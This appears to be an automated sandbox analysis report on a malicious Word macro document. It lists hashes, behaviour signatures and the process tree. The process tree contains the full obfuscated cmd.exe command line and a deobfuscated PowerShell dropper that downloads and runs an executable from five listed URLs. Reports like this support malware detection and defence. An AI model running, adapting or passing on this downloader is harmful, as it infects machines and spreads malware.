Analysis

  • max time kernel
    150s
  • max time network
    151s
  • platform
    windows10-2004_x64
  • resource
    win10v2004-20241007-en
  • resource tags

    arch:x64arch:x86image:win10v2004-20241007-enlocale:en-usos:windows10-2004-x64system
  • submitted
    20-11-2024 21:36

General

  • Target

    e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc

  • Size

    64KB

  • MD5

    d9a8f9f7a45dba6f6883e89189c71c9e

  • SHA1

    4da0ddb8fae437314db58089a38c50e5105e93b5

  • SHA256

    e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594

  • SHA512

    83e21823dd9a1abffba2280ccfd6dcebdbb65ec27e80fe8d6d69c8dd9b7db1b73ac317bb29a30dc6542874aa84385b10148db9274903ed3ac7c0dfafe5b47663

  • SSDEEP

    768:KooRooooM6AoroooonooQoooVoooooIooNpJcaUitGAlmrJpmxlzC+w99NB33y/o:SptJlmrJpmxlRw99NBny/qJP8GjmuZ

Score
10/10

Malware Config

Extracted

Language
ps1
Deobfuscated
URLs
exe.dropper

http://www.muabangiup.com/I6gpE

exe.dropper

http://www.tekere.es/ce45TO3

exe.dropper

http://www.expressarsetelagoas.com.br/8tr1wP

exe.dropper

http://www.fix4pc.co.uk/GOjXqkw

exe.dropper

http://www.flora-lux.by/mJHgzFh

Signatures

  • Process spawned unexpected child process 1 IoCs

    This typically indicates the parent process was compromised via an exploit or macro.

  • Blocklisted process makes network request 1 IoCs
  • Command and Scripting Interpreter: PowerShell 1 TTPs 1 IoCs

    Using powershell.exe command.

  • An obfuscated cmd.exe command-line is typically used to evade detection. 1 IoCs
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Enumerates system info in registry 2 TTPs 3 IoCs
  • Suspicious behavior: AddClipboardFormatListener 2 IoCs
  • Suspicious behavior: EnumeratesProcesses 2 IoCs
  • Suspicious use of AdjustPrivilegeToken 1 IoCs
  • Suspicious use of SetWindowsHookEx 7 IoCs
  • Suspicious use of WriteProcessMemory 4 IoCs

Processes

  • C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE
    "C:\Program Files\Microsoft Office\Root\Office16\WINWORD.EXE" /n "C:\Users\Admin\AppData\Local\Temp\e33209146f95e8c43d6ded642235f842d70b5c568d7ca006d52c4195423a8594.doc" /o ""
    1⤵
    • Checks processor information in registry
    • Enumerates system info in registry
    • Suspicious behavior: AddClipboardFormatListener
    • Suspicious use of SetWindowsHookEx
    • Suspicious use of WriteProcessMemory
    PID:632
    • C:\Windows\SYSTEM32\CMd.exe
      CMd /V^:^O/C"^s^e^t Z^5^I^A=^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^ ^}^}^{hc^tac^}^;^k^a^er^b^;^A^m^d^$^ ^m^e^t^I^-^e^k^ovn^I^;)^A^m^d^$^ ^,^a^d^q$(^e^li^F^d^ao^ln^w^o^D^.^FCC^$^{^yr^t^{)DR^F^$^ n^i^ ^a^d^q^$(hc^a^er^o^f^;^'^e^xe^.^'^+VV^M^$^+^'^\^'+c^il^b^u^p^:vn^e^$^=^A^m^d^$^;'^5^36^'^ ^=^ VV^M^$^;)^'^@^'(^t^i^l^pS^.^'^h^F^z^g^H^J^m/^y^b^.^x^u^l^-^ar^o^l^f^.w^w^w//^:p^t^t^h^@^w^k^q^X^jO^G/k^u^.^oc^.c^p^4^xi^f^.^w^w^w//:^p^tt^h^@^Pw1r^t^8/r^b^.^m^oc^.^s^a^o^g^al^ete^sr^a^s^s^er^p^x^e^.w^w^w//^:p^t^t^h@3O^T^54^ec/^s^e^.^er^e^k^e^t^.^w^w^w//^:^p^t^t^h@^E^p^g^6^I/^m^oc^.^p^u^i^gn^a^ba^u^m.^w^w^w//^:^p^t^t^h^'^=^DR^F^$^;^tn^e^i^lC^b^e^W^.^t^eN^ ^tc^e^j^b^o^-^w^en^=^FCC^$ ^l^l^e^h^sr^ew^o^p&&^f^or /^L %^s ^in (^3^7^9^,^-^1^,^0)^d^o ^s^e^t ^U^2^y=!^U^2^y!!Z^5^I^A:~%^s,1!&&^i^f %^s=^=^0 c^a^l^l %^U^2^y:^~^-^3^8^0%"
      2⤵
      • Process spawned unexpected child process
      • An obfuscated cmd.exe command-line is typically used to evade detection.
      • Suspicious use of WriteProcessMemory
      PID:2136
      • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
        powershell $CCF=new-object Net.WebClient;$FRD='http://www.muabangiup.com/I6gpE@http://www.tekere.es/ce45TO3@http://www.expressarsetelagoas.com.br/8tr1wP@http://www.fix4pc.co.uk/GOjXqkw@http://www.flora-lux.by/mJHgzFh'.Split('@');$MVV = '635';$dmA=$env:public+'\'+$MVV+'.exe';foreach($qda in $FRD){try{$CCF.DownloadFile($qda, $dmA);Invoke-Item $dmA;break;}catch{}}
        3⤵
        • Blocklisted process makes network request
        • Command and Scripting Interpreter: PowerShell
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:4200

Network

MITRE ATT&CK Enterprise v15

Replay Monitor

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Downloads

  • C:\Users\Admin\AppData\Local\Temp\TCDDA3.tmp\iso690.xsl

    Filesize

    263KB

    MD5

    ff0e07eff1333cdf9fc2523d323dd654

    SHA1

    77a1ae0dd8dbc3fee65dd6266f31e2a564d088a4

    SHA256

    3f925e0cc1542f09de1f99060899eafb0042bb9682507c907173c392115a44b5

    SHA512

    b4615f995fab87661c2dbe46625aa982215d7bde27cafae221dca76087fe76da4b4a381943436fcac1577cb3d260d0050b32b7b93e3eb07912494429f126bb3d

  • C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_qrdbwcf3.0s2.ps1

    Filesize

    60B

    MD5

    d17fe0a3f47be24a6453e9ef58c94641

    SHA1

    6ab83620379fc69f80c0242105ddffd7d98d5d9d

    SHA256

    96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7

    SHA512

    5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82

  • memory/632-16-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-12-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-4-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

    Filesize

    64KB

  • memory/632-13-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-2-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

    Filesize

    64KB

  • memory/632-14-0x00007FFD53FF0000-0x00007FFD54000000-memory.dmp

    Filesize

    64KB

  • memory/632-11-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-9-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-8-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-15-0x00007FFD53FF0000-0x00007FFD54000000-memory.dmp

    Filesize

    64KB

  • memory/632-18-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-5-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

    Filesize

    64KB

  • memory/632-0-0x00007FFD961CD000-0x00007FFD961CE000-memory.dmp

    Filesize

    4KB

  • memory/632-6-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-10-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-7-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-17-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-29-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-30-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-31-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-37-0x00007FFD961CD000-0x00007FFD961CE000-memory.dmp

    Filesize

    4KB

  • memory/632-38-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-39-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-1-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

    Filesize

    64KB

  • memory/632-3-0x00007FFD561B0000-0x00007FFD561C0000-memory.dmp

    Filesize

    64KB

  • memory/632-50-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-54-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/632-55-0x00007FFD96130000-0x00007FFD96325000-memory.dmp

    Filesize

    2.0MB

  • memory/4200-40-0x0000024674C20000-0x0000024674C42000-memory.dmp

    Filesize

    136KB